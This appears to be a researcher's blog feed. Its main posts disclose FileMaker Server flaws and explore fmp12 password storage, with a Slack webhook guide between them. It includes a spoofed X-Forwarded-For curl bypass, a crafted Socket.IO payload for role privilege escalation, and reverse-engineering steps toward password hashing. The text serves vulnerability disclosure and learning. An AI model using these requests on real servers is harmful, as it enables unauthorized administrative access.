This can be fine, for example if the web server / reverse proxy is actually configured to overwrite any X-Forwarded-For header of incoming requests with its own IP address and/or the source IP (chained).

However, in a default FileMaker Server installation, this is not the case, rendering the access restriction useless as anyone can send their own X-Fowarded-For header which is guaranteed to arrive at and to be parsed by the Admin Console application.

Just setting the header to 127.0.0.1 will always give you access, independent of the access restriction settings that have been configured.

Example without custom header:

$ curl https://your-server.example/admin-console
Your machine (1.2.3.4) does not have access to the FileMaker Server Admin Console. Please contact the server administrator for help.

Example with custom header:

$ curl -H 'X-Forwarded-For: 127.0.0.1' https://your-server.example/admin-console
<html>
...
login page

In case you are wondering if this applies to any specific platform: it does not. Since the application handles the restriction, it works the same on Windows, Linux and macOS (haven’t tested on macOS but I’m almost certain it works).

Administrator Role restriction bypass (CVE-2023-42954) & passwords being sent to client (CVE-2023-42955)

Since FileMaker Server 19.6.1 it is possible to configure so called “Adminstrator Roles” via the Admin Console. The feature is described in the release notes as:

Administrator roles allow you to administer a subset of available databases using a distinct username and password and with a chosen subset of privileges.

If we look at the traffic the Admin Console produces after login, we quickly realize that a lot of the communication happens via WebSockets.

The Admin Console makes use of the Socket.IO library, so when looking at the exchanged messages, we will see a little bit of meta data for each event (such as the type of a packet).

Additionally, since long-polling (POST request for sending, GET request which is held on for some time until there’s something to return) is supported as a fallback (when WebSockets are not available), we might also see some HTTP requests/responses in the same format.

After logging into the Admin Console, the first Socket.IO related request is for the handshake. It looks something like this:

GET /socket.io/?EIO=4&transport=polling&t=1234 HTTP/2

The response includes a session ID (and a hint that we could upgrade to WebSockets for communication):

0{"sid":"Dq4roeq9GwwF5aLEAAAC","upgrades":["websocket"],"pingInterval":25000,"pingTimeout":20000,"maxPayload":1000000}

Using this session ID, the client can then connect and start sending/receiving messages (via any of the supported transports).

In the case of the Admin Console, the next request contains a JSON Web Token, previously obtained by the login (regular POST to POST /fmi/admin/internal/v1/user/login), for authentication:

POST /socket.io/?EIO=4&transport=polling&t=1234&sid=Dq4roeq9GwwF5aLEAAAC HTTP/2

40{"token":"some base64 encoded JWT"}

The 40 in the beginning is meta data (“message” packet type identifier, with “CONNECT” action).

The server responds with an ok and afterwards “regular” event messages are being exchanged (and optionally the transport is changed to WebSockets).

In the case of the Admin Console, several messages are sent right away to acquire all the data for the frontend to display. This is can be anything from available databases, to configuration data, to server usage information.

The part we are interested in for the Adminitrator Roles is the following event sent to the client: EVENT_ADMIN_ROLE_LIST.

It contains information about all the roles that are configured, and looks something like this:

42["EVENT_ADMIN_ROLE_LIST",[{"privileges":[],"db_pri":false,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/","dbSubFolderName":"restricted","name":"restricted_access","id":1693575613430,"confirmpassword":"$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"},{"privileges":["DATABASE_MANAGEMENT"],"db_pri":true,"sched_pri":false,"sched_backup_pri":false,"sched_verify_pri":false,"sched_script_pri":false,"log_pri":false,"password":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm","xauthGroup":"","homeFolder":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbFolderPath":"filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/","dbSubFolderName":"","name":"another_role","id":1693575900936,"confirmpassword":"$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"}]]

Cutting off the meta data (this time with 2 for EVENT) and formatting the message, it looks like this:

[
 "EVENT_ADMIN_ROLE_LIST",
 [
 {
 "privileges": [],
 "db_pri": false,
 "sched_pri": false,
 "sched_backup_pri": false,
 "sched_verify_pri": false,
 "sched_script_pri": false,
 "log_pri": false,
 "password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/restricted/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbSubFolderName": "restricted",
 "name": "restricted_access",
 "id": 1693575613430,
 "confirmpassword": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0"
 },
 {
 "privileges": [
 "DATABASE_MANAGEMENT"
 ],
 "db_pri": true,
 "sched_pri": false,
 "sched_backup_pri": false,
 "sched_verify_pri": false,
 "sched_script_pri": false,
 "log_pri": false,
 "password": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Secure/",
 "dbSubFolderName": "",
 "name": "another_role",
 "id": 1693575900936,
 "confirmpassword": "$0$EBjPmSZgDIR/ZogaGcg3j0sypReCs3l0Dth3F1xDzOzm"
 }
 ]
]

The first oddity I noticed is that the whole array of all admin roles is sent to the client, regardless of the login session.

This means that we can login as any role and always get all role data (we do have to login, though 🤓).

This may or may not be an issue, but sending the passwords for all roles all the time (even if not in plaintext) is not great.

When I looked at the administrator roles initially, I tested it with FileMaker Server 19.6.1. Here, the passwords were indeed sent in plaintext (for all groups)! So the message looked something like: ["privileges": [],"db_pri": false, <snip>"confirmpassword": "very_secret"}]. This is not the case in 20.1.2 anymore, though.

Apart from the password information that is still being shipped to the client, it might not be too big of a deal to be able to get information about the existence of other roles.

However, if we get all this info back from the server, is the server actually checking what role and privileges a user has?

Since we understand how messages are exchanged between server and client, we can easily test this out.

If we want to open a database file via the Admin Console, a message like this is sent to the server:

42["EVENT_DB_ACTION_REQUEST",{"type":"open","id":"2","params":{}}]

If we login with a restricted role and try to send this message for a database which we shouldn’t have access to (based on the “Role folder” when configuring the Administrator Roles), the database still opens.

Additionally, our role does not even need to have the “Database Privilege” turned on.

We can do any database operation on any database no matter what our role settings indicate. In fact, any event I tested was successfully processed (also other settings that can be allowed or not allowed - like viewing logs).

So it seems that the server is only checking whether we have an authenticated session, not what privileges the role associated with that session has.

The Admin Console frontend, however, gives the impression that everything is locked down. It knows what privileges a user has – the server sends that information right at the beginning. But the server seems to fully trust that every message sent to it is legit.

Trusting the frontend, that is essentially under control of the user, is the problem here.

If a user with limited privileges wouldn’t want to go through the hassle of crafting their own custom message anytime (as the frontend doesn’t display the actions that you shouldn’t be able to perform), they can just give themselves all privileges and access to all databases via another WebSocket event: EVENT_ADMIN_ROLE_UPDATE.

Sending a modified admin role configuration using this event is equally accepted by the server.

So we could send something like the following to assign ourselves (as a restricted administrator role) all the privileges and remove the folder restriction:

{
 "AdminRolejson": {
 "groups": [
 {
 "privileges": [
 "DATABASE_MANAGEMENT",
 "SCHEDULE_MANAGEMENT",
 "SCHEDULE_BACKUP",
 "SCHEDULE_VERIFY",
 "SCHEDULE_SCRIPT",
 "DIAGNOSTICS_VIEWING"
 ],
 "db_pri": true,
 "sched_pri": true,
 "sched_backup_pri": true,
 "sched_verify_pri": true,
 "sched_script_pri": true,
 "log_pri": true,
 "password": "$0$EMLIItg2FQ4Qfus15E/+B7KJfJt/dEbnz4jCQJVwrTt0",
 "xauthGroup": "",
 "homeFolder": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbFolderPath": "filewin:/C:/Program Files/FileMaker/FileMaker Server/Data/Databases/",
 "dbSubFolderName": "",
 "name": "restricted_access",
 "id": 1693575613430
 }
 ]
 }
}

We are essentially taking the configuration object initially obtained from EVENT_ADMIN_ROLE_LIST, adding all privileges, remove the sub-folder restriction and send it to the server.

Our connection is dropped, but next time we login with our previously limited role, we now have all the controls available in the frontend (which sends events that are, of course, successfully processed on the server side as well).

Proof of Concept

Putting both the IP restriction bypass and the Administrator Role privilege escalation into a proof of concept, it could look like this:

When I prepared this post, I originally wanted to publish the proof-of-concept code here to demonstrate the issue. I now decided against this, because one of the issues is still not properly fixed even though the ticket at Apple was marked as “resolved”. I communicated this, but they require a new ticket to be opened, even though in my opinion all information is already available. They also labeled the bug as “Ineligible” for a bounty. I didn’t open a new ticket to explain everything again, but will hold off from publishing the proof-of-concept code for now.

(continued from originally prepared post)

The output will be the following:

2023-09-01 18:01:58 [INFO] Got auth token
2023-09-01 18:02:03 [INFO] WebSocket connected
2023-09-01 18:02:03 [INFO] Identified admin role object
2023-09-01 18:02:03 [INFO] Sending changed admin role object. Re-login to the admin console to see if additional privileges have been added.
2023-09-01 18:02:03 [INFO] Disconnected

In short, the script authenticates with a restricted administrator role, then makes a socket.IO connection and waits for the server to send the EVENT_ADMIN_ROLE_LIST event.

Once received, it takes the config object of the role that we authenticated with, adds all privileges and removes the folder restriction from the config object, and then emits a EVENT_ADMIN_ROLE_UPDATE event with the crafted payload.

After running the script, the formerly restricted administrator role now has all privileges and can re-login to the admin console.

Timeline

I reported these issues on 01.09.2023 via the Apple Security program. For CVE-2024-40768 I received a bounty. The other two issues were deemed “Ineligible” for a bounty (in my opinion the privilege escalation is more severe than the rewarded issue, but maybe it falls into a different category - who knows!?).

The ticket for CVE-2024-40768 was closed in October 2024 (fixed in 21.0.1).

The ticket for CVE-2023-42954 was closed in June 2024 (partially fixed in 20.3.1; fix is insufficient)

The ticket for CVE-2023-42955 is still open, but the issue was already fixed in version 20.3.2 (8 months ago).

I decided to publish this post in October 2024 (without any proof-of-concept code for now, due to the reasons explained above).

Claris disclosures

All bugs were publicly disclosed by Claris before this post was published:

allgood.systems: get a Slack message when your server goes down

Sun, 28 Jul 2024 00:00:00 +0000

I was recently asked if it’s possible to post a message to a Slack channel whenever the state of a monitor on allgood.systems changes (for example, a web server goes down, a job starts failing, etc.).

The answer is “yes”, and it’s quite easy to set this up once you have a Slack app configured.

All you need to do on allgood’s side is to add a web hook to your notification group, enter the URL you get from Slack, and define what message you want to send.

Creating a Slack app

In the past you could just add Slack’s “Incoming WebHook” to your workspace and were – more or less – done.

A while ago, however, this method was deprecated, and Slack now recommends to create your own “App” instead.

“Creating an app” sound more involved than it actually is. You just have to click through a few menus to “build” one.

Let’s follow the Quick Start Guide and take the following actions:

Go to Apps and click “Create New App” -> “From scratch”. Then give your app a name, for example “allgood bot”, and choose the workspace to use it in.

Go to “OAuth & Permissions” -> “Scopes”, and then add the following “Bot Token Scopes”: chat:write.public and chat:write. This will allow your bot to post messages.

Go to “Incoming WebHooks” and set it to “enabled”.

Go back to “Basic Information” and click “Install to Workspace”. You will be prompted to allow the bot’s actions and have to select a channel for your bot to post in (for example #general).

Go back to “Incoming WebHooks”, and copy the URL that is referenced for the channel you selected.

Now, log back into allgood.systems and continue the setup there.

Setup on allgood.systems

First, you go to notification settings and then either select an existing notification group or create a new one.

For the existing or new group, you can then click on “Add member”, select “Web hook” as type and “POST” as method:

Now, you can copy the web hook URL from Slack and enter it into the URL field.

In the JSON payload you can define your desired message structure and make use of the available placeholders (such as the monitor url).

For example:

{
 "blocks": [
 {
 "type": "section",
 "text": {
 "type": "mrkdwn",
 "text": "{{subject}}"
 }
 },
 {
 "type": "section",
 "text": {
 "type": "mrkdwn",
 "text": "👉 <{{monitor_url}}|View Monitor>"
 }
 }
 ]
}

If you’ve attached the web hook to a notification group already linked to your monitors, your setup is now complete.

If you instead created a new notification group, go to one of your monitors, select “Edit” and choose the new group in the monitor’s notification settings.

Now, whenever a notification is triggered, you will see a new message in your configured Slack channel.

And, if you enabled repeated down notifications, you will also get these notifications repeatedly in Slack.

Exploring the fmp12 file format; or: what was my password again?

Mon, 17 Jun 2024 00:00:00 +0000

Introduction

I had been planning for a while to dive deeper into the fmp12 file format to explore how data is organized and how accounts and passwords are stored. A few months ago, I finally found the time to do it.

The first thing I noticed was just how little information publicly exists about the file format and especially about account and password storage.

The only information on the latter was that “a one-way hash” is used for storing passwords and that there are some password reset tools that – according to forums – might work but would also “damage” your file, without any further clarification.

In my opinion this kind of knowledge shouldn’t only exist for password recovery tool vendors. If you invest a lot time and money into your fmp12 solution, you should know how much or how little local accounts/passwords protect distributed files and also what the reset tools actually do to your files.

It should come to no surprise to some people that you can get around the password protection of unencrypted local files. However, I’ve also spoken to many people in the past who thought a password protected (local) fmp12 file is literally protected if you don’t have the password (i.e. you cannot get into the file to access the data or code).

In June 2024, I gave a talk about this topic at the dotfmp conference. This post will follow the general flow of the presentation. Just like in the talk, we start at the very beginning with some basics (I have also included the number base conversions to keep it complete).

The following article does not come with a proof-of-concept code to reset account passwords for fmp12 files, but it will give you an understanding of the protections in place.

A disclaimer up front: all information presented in the following is based on my observations and some assumptions. As there is no open specification of the file format, we just have to accept that certain things cannot be fully confirmed.

Also note that this is not a post about a vulnerability but rather an exploration into how things works internally in an fmp12 file. We are not talking about accessing a remote file on FileMaker Server.

TL;DR: If you have access to a local fmp12 file, account passwords can be reset. If you just want to read some data from a file, you obviously don’t even need an account/password. If you want to properly protect your local files, use the encryption at rest feature – it’s designed for exactly this.

Number bases / radices, bits and bytes

Over the course of this blog post we are going to look at a lot of raw byte values. Some values are better represented in binary or hexadecimal form.

So let’s start with a quick refresher on how to read numbers in base 10, base 2 and base 16. If you deal with binary and hex values all the time, feel free to skip this section.

Base 10

In everyday life we’re mostly using the base 10 numeral system. If you see the number 2024, you don’t think much about it because you’re used to working with decimal numbers.

But let’s have a look at the formula that actually lets you compute the value from the individual digits of a decimal number:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

In base 10 every digit can represent one of 10 values (0-9) and each of the digits contributes to the total value.

The number 2024 can be represented like so:

2 0 2 4
| | | |
| | | +-- The ones
| | +-- The tens
| +-- The hundreds
+-- The thousands

So to get to two-thousand-twenty-four, we can just read what every place contributes and add these values together:

$$d_{N-1} \times 10^{N-1} + d_{N-2} \times 10^{N-2} + d_{N-3} \times 10^{N-3} + d_{N-4} \times 10^{N-4}$$$$d_{3} \times 10^3 + d_{2} \times 10^2 + d_{1} \times 10^1 + d_{0} \times 10^0$$$$2 \times 10^3 + 0 \times 10^2 + 2 \times 10^1 + 4 \times 10^0$$$$2 \times 1000 + 0 \times 100 + 2 \times 10 + 4 \times 1$$$$2000 + 0 + 20 + 4$$$$2024$$

As you will see in the following, the same formula also applies to other bases if the base value is swapped out accordingly.

Base 2

In base 2 every digit can have one of two values, 0 or 1. Taking a sample value of 0b1101 (decimal 13), we can compute the decimal value using the same steps as before:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights


1 1 0 1 = decimal 13
| | | |
| | | +-- The ones
| | +-- The twos
| +-- The fours
+-- The eights

$$d_{N-1} \times 2^{N-1} + d_{N-2} \times 2^{N-2} + d_{N-3} \times 2^{N-3} + d_{N-4} \times 2^{N-4}$$$$d_{3} \times 2^3 + d_{2} \times 2^2 + d_{1} \times 2^1 + d_{0} \times 2^0$$$$1 \times 2^3 + 1 \times 2^2 + 0 \times 2^1 + 1 \times 2^0$$$$1 \times 8 + 1 \times 4 + 0 \times 2 + 1 \times 1$$$$8 + 4 + 0 + 1$$$$13$$

Often times the prefix 0b is used to indicate that you’re looking at a binary number.

Base 16

Lastly, we have base 16, which will be the most used in the contents to follow. In base 16 we have 16 possible values for every digit, 0 to 15. The values from 10 to 15 are represented by letters a to f.

Hexadecimal values are usually prefixed with 0x.

To get the decimal value from a hexadecimal number, we can follow the same steps as before, but use 16 as the base:

d3 d2 d1 d0
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s


C A F E = 51966
| | | |
| | | +-- The ones
| | +-- The 16s
| +-- The 256s
+-- The 4096s

$$d_{N-1} \times 16^{N-1} + d_{N-2} \times 16^{N-2} + d_{N-3} \times 16^{N-3} + d_{N-4} \times 16^{N-4}$$$$d_{3} \times 16^3 + d_{2} \times 16^2 + d_{1} \times 16^1 + d_{0} \times 16^0$$$$12 \times 16^3 + 10 \times 16^2 + 15 \times 16^1 + 14 \times 16^0$$$$12 \times 4096 + 10 \times 256 + 15 \times 16 + 14 \times 1$$$$49152 + 2560 + 240 + 14$$$$51966$$

Bits and Bytes

As the last theoretical bit (pun not intended :-)), let’s have a look what is in a byte and how we can represent bytes in a clear way:

1 byte = 8 bits = 256 possible values (0 to 255)

Example: 0b10000001 = 0x81 = 129

When dealing with 16, 32, or 64-bit values it quickly becomes impractical to use a base 2 or base 10 representation of values.

Looking at just a 16-bit (2-byte) value, you can tell that 16 0s and 1s are hard to make sense of (unless they are all the same). And in a decimal representation it’s hard to know how many bytes a number represents.

But seeing the same value represented in hexadecimal, we can immediately spot that it’s two bytes (1 byte can be represented in two hex digits):

0b1111111111111111 = 0xffff = 65535
16 bits = 2 bytes

The fmp12 file format

Visual inspection and header

Now that we’ve covered the theoretical background, let’s see how an fmp12 file actually looks like when examining the raw bytes of it:

 |----------- magic bytes -----------|--
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
 format--|
00000010: 4241 4d37 0000 1000 0000 0000 0000 0000 BAM7............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000060: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000080: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000090: 0000 0000 0000 0000 0000 0000 0000 0000 ................
000000a0: 0000 0000 0000 0000 0000 0000 0000 0000 ................
...

As is common for many formats, the file begins with a magic byte-sequence signature. This is followed by what appears to be the internal name of the format: HBAM7.

If we were to look at an encrypted file the format would say HBAMe and the rest of the file would by, well, encrypted.

A quick glance at the file also reveals its organization into 4-kilobyte blocks. Before each multiple of 4096 bytes we see a bunch of null bytes (0x00) as the blocks are usually not completely filled.

Helpful resources

As noted earlier, there are very few online resources about fmp12. However, the following three were valuable for kickstarting the process of understanding the file format:

The first two are DevCon talks which give a few insights about how FileMaker Pro/Server logically organizes files. The third, fmptools, is a repository containing C code to parse and extract table data from fmp12 (and older) files and does a great job documenting many of the byte-codes used in the payloads of the 4K blocks.

If you want to get familiar with the format I highly recommend starting by writing a parser yourself and implementing the codes documented in this repository.

Block structure

The 4096 byte blocks in the file are organized as a doubly linked list, meaning each block knows the ID of the previous and next block.

This information (and other meta data, e.g. if a block was deleted or not) is stored in the first few bytes of every block.

So by parsing the block header, we can determine the offset to which we need to jump next in the file.

 |prev ID| |next ID|
00001000: 0000 0000 0000 0000 0000 0043 0001 0de7 ...........C....
 |- beginning of payload ----
00001010: 0000 0894 1b00 0100 0000 0220 0220 8703 ........... . ..
 -- cont. until end of block---------...
00001020: 0300 0000 41c3 0600 0000 4220 88c3 0100 ....A.....B ....

Payload

The payload in each block consists of a sequence of bytes, beginning with a code that describes the following data chunk or the operation to be performed.

The op-codes 0x40 (POP) and 0x20 (PUSH) are used for constructing path information, such that the application reading the file is able to address the individual pieces of data later on.

The data chunks we are interested in for the purpose of figuring out the account and password storage are mostly the key-value pairs (examples to follow). Be aware, though, that we have to have knowledge about all byte-codes in a payload of a block to be able to parse that block in its entirety.

Examining a number of sample files yourself, you will likely notice that there are more than just the byte-codes documented in the fmptools repository.

When encountering a new/unknown code, there are two options: you could either try to reverse-engineer it or skip processing the rest of the payload and move on to the next block. For the purpose of learning about accounts and passwords it’s generally OK to skip ahead as long as the unknown codes don’t appear in the same block as the information we are interested in.

Encoding of data, and payload examples

When you start exploring a file format and have an application at hand that can write data in that format, one of the easiest experiments you can do is to let the application write a known string into the file and see how that string is represented.

Let’s say we were to open an fmp12 file and chose the name AAAAAA for a field, a script, an account name or anything else. Observing how the file changes once that name is committed would give us a clue on a) where the data is stored in the file, and b) how the data is stored.

If you perform this experiment, you will quickly notice that the plaintext AAAAAA does not appear anywhere in the file. Instead, each byte you enter is stored in a transformed (but predictable) manner. The six As do not appear as six instances of 0x41 (decimal 65, the ASCII code for capital A) but rather as 0x1b.

Why 0x1b? It turns out that all the data in fmp12 files is XORed with the byte 0x5a – I assume just for a little obfuscation.

How would you find the XOR byte? You just try out all possible byte values and see which one gives you back 0x41 (A) again.

Let’s have look at a short example of the bitwise XOR operation in case you are not familiar with it.

XOR example

We established that 0x1b ^ 0x5a = 0x41 = 65 = A (the caret denoting the XOR operator).

XOR stands for “exclusive or” and the result of the operation is only true (1), if the two given inputs differ.

And since we are performing a bit-wise operation, our inputs to XOR are the individual bits of the bytes.

Sticking with the example from above, this looks like follows:

0b00011011 ^ 0b01011010 = 0b01000001

00011011 <== 0x1b
01011010 <== 0x5a
--------
01000001 <== 0x41

Going back to the formula from the very beginning, we can see that $2^6 + 2^0 = 65$, and 65 is again the ASCII code for “A”.

Key-value example

Let’s now look at an example of a data chunk inside a payload.

0x06 0x10 0x05 0x1b 0x3e 0x37 0x33 0x34

In this case 0x06 would be the code for a key-value pair.

0x10 would be the key, and 0x05 the length of the data for this key.

Looking at the next 5 bytes (length), we have 0x1b 0x3e 0x37 0x33 0x34.

Performing an XOR operation with each byte and the constant 0x5a as explained above, we get:

0x1B ^ 0x5A = 0x41, 0x3E ^ 0x5A = 0x64, ..., 0x34 ^ 0x5A = 0x6E
0x41 = ASCII "A", 0x64 = "d", ... 0x6E = "n"
"Admin"

So the example above would store the string Admin with key 0x10.

Path operation example

As mentioned before, the payload also contains op-codes for PUSH and POP operations. Let’s look at an example and assume the current path is 17.1 (arbitrary for this example):

0x40 0x40 0x20 0x17 0x80 0x20 0x01 0x80 0x20 0x01

We start by looking at the first byte, determine it’s a POP operation and thus pop off the 1 of our example path, leaving only 17.

Another POP operation (second byte) also pops off the 17, leaving us with an empty path.

The third byte is the op-code for a PUSH operation with the value 0x17. So we push 0x17, or 23 in decimal, onto the path (not to be confused with the decimal 17 in the beginning).

The fourth byte is a NOP, a no-operation instruction. Thus, nothing changes.

Then, we continue with another PUSH of the value 1, meaning our path becomes 23.1.

We continue in the same way as before and eventually arrive at a path of 23.1.1. Here is a list of the instructions in less verbose form:

0x40: POP one off path -> 17
0x40: POP one off path -> empty
0x20 0x17: PUSH 0x17 -> 23
0x80: NOP -> 23
0x20 0x01: PUSH 0x01 -> 23.1
0x80: NOP -> 23.1
0x20 0x01: PUSH 0x01 -> 23.1.1

If the key-value pair from the previous example would follow, it would have the path 23.1.1.16 (16, or 0x10, being the key).

How do we get to the accounts?

With the information given so far we are able to write a simpler parser for any fmp12 file (assuming we have knowledge of all byte-codes used in the file).

How does this help us learn more about the stored accounts and passwords? We can open a few sample files and check where account names, such as Admin, are stored, then note down their path (we know the account names to search for as we are parsing our own files).

What we find is that account information is generally stored at path 23.1.5.N, where N is the account number. So the first account would be in 23.1.5.1, the second account in 23.1.5.2, and so on. The parent path 23.1.5 always stays the same.

Note that you don’t need any account/password if all you want is to read some data from a file. But we want to find out how much accounts protect a local file from being accessed the “normal” way and if passwords can easily be reset.

Where exactly is the name stored and what else is “nearby”? Let’s have a look at a chunk of a payload:

[...]

00008190: 020e fc03 0908 9fa1 5b80 0596 6aa0 4020 ........[...j.@
000081a0: 0280 0604 1005 407c dc76 b7f1 fd29 ac5a ......@|.v...).Z
000081b0: 9c79 1af6 b806 063b 0104 72b2 e83c 04a8 .y.....;..r..<..
000081c0: bd2b fe3c bc1f 3d1f 0b69 df8e 93c6 542e .+.<..=..i....T.
000081d0: 4786 01b0 5d26 1d38 cead d523 0fc1 62a5 G...]&.8...#..b.
000081e0: 6dfa e831 7a99 0ad9 82a8 8efe 9a83 92a5 m..1z...........
000081f0: 0e71 3f06 0a09 089f a15b 8005 9674 3002 .q?......[...t0.
00008200: 0b01 0106 1005 1b3e 3733 3420 5d80 2800 .......>734 ].(.
00008210: 0080 2011 8020 1880 4040 4040 06d8 1071 .. .. ..@@@@...q

[...]

Let’s add some color to better identify the byte-codes (red), the arguments/keys/lengths (green) and the actual data (blue). The account name “Admin” (XORed) is highlighted in blue.

Parsing this payload would look something like this:

(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.

The account name is always stored with key 16 or 0x10, and XORed with 0x5a (just like the other data).

The value at key 0x04 (05407cdc76b7f1fd29ac5a9c791af6b8) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.

The 59-byte long value at key 0x06 (010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always 0x01.

Hint: for the rest of this blog post we will mostly talk about these two values (key 0x04 and 0x06).

What to do with this information?

To make further progress, we have three options:

Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file
Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, …), attach a debugger and read some assembly code
Just YOLO it, start changing some bytes in the file and see what happens 🤞

As professionals, we obviously choose option 3 ;-)

So what happens when we, for example, just change the account name at path 23.1.5.2.16?

Can we still open the file?

I guess that’s what you get when you change stuff without really knowing what’s up :-)

Lessons learned so far

We might not have succeeded yet, but the failures and observations gave us new insight:

If we modify an account name, we get a tamper alert
If we modify any of the potential hashes nearby, we get a tamper alert
If we modify a buch of other stuff in the file, we get a tamper alert
Given the above points, we can assume that there’s likely a checksum of all the account information
We learned that accounts generally have the same parent path 23.1.5
We learned that the 16-byte value at key 0x04 has a fixed length and changes when the password is changed
We learned that the 59-byte value at key 0x06 has a variable length and changes when the password is changed (with the exception of the first byte, which is always 0x01)

Time for some debugging

It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? …) in a program that can read fmp12 files.

As explained in last year’s post about deciphering the FileMaker keystore, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.

We will use gdb as the debugger and the FMDataMigration tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).

As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:

gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force

Note that we pass Admin as account name, and whatever as password.

Figuring out the password hash

Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.

One very obvious function to start with is Draco::PasswordHash::ComputePasswordHash.

We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).

I debugged the application on a Linux machine on x86_64, so based on the calling conventions the first arguments are generally passed in registers rdi, rsi, rdx, rcx, r8 and r9.

Values passed to ComputePasswordHash

Once a breakpoint has been triggered, we can look at the register values:

(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with "File" :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
 # 01===>0472b2e83c04a8bd2bfe<===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack

As commented above, we see several interesting values. rdi points to the password we passed in as command line argument (as 16-bit characters). rsi points to a part of the 59-byte value previously seen in the file at path 23.1.5.2.6. Assuming the next argument (rdx) is the length, we can read 10 bytes from rsi and get 0472b2e83c04a8bd2bfe.

rcx points to a constant string which starts with File (hint, hint), but has a length of 30 bytes (r8).

r9 contains 0x01 which may or may not be relevant to what we are trying to find out. We note it down in any case.

What do we know so far?

While not certain, we can make an assumption that the first 10 bytes after the 0x01 is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:

01 --> 0472b2e83c04a8bd2bfe <-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f

We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).

We have also discovered a constant value of 0x01 which might be relevant to the hash.

And we have found out that the clear password which we pass on the command line ends up being passed to the ComputePasswordHash function as well.

Digging deeper

We know the input to the function. But what exactly happens within it?

To figure this out let’s have a closer look at one of the loops in that function:

[...]
0x00007ffff4c328f4 <+132>: div %r13d
0x00007ffff4c328f7 <+135>: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc <+140>: shl $0x8,%ebx
0x00007ffff4c328ff <+143>: lea 0x1(%rcx),%eax
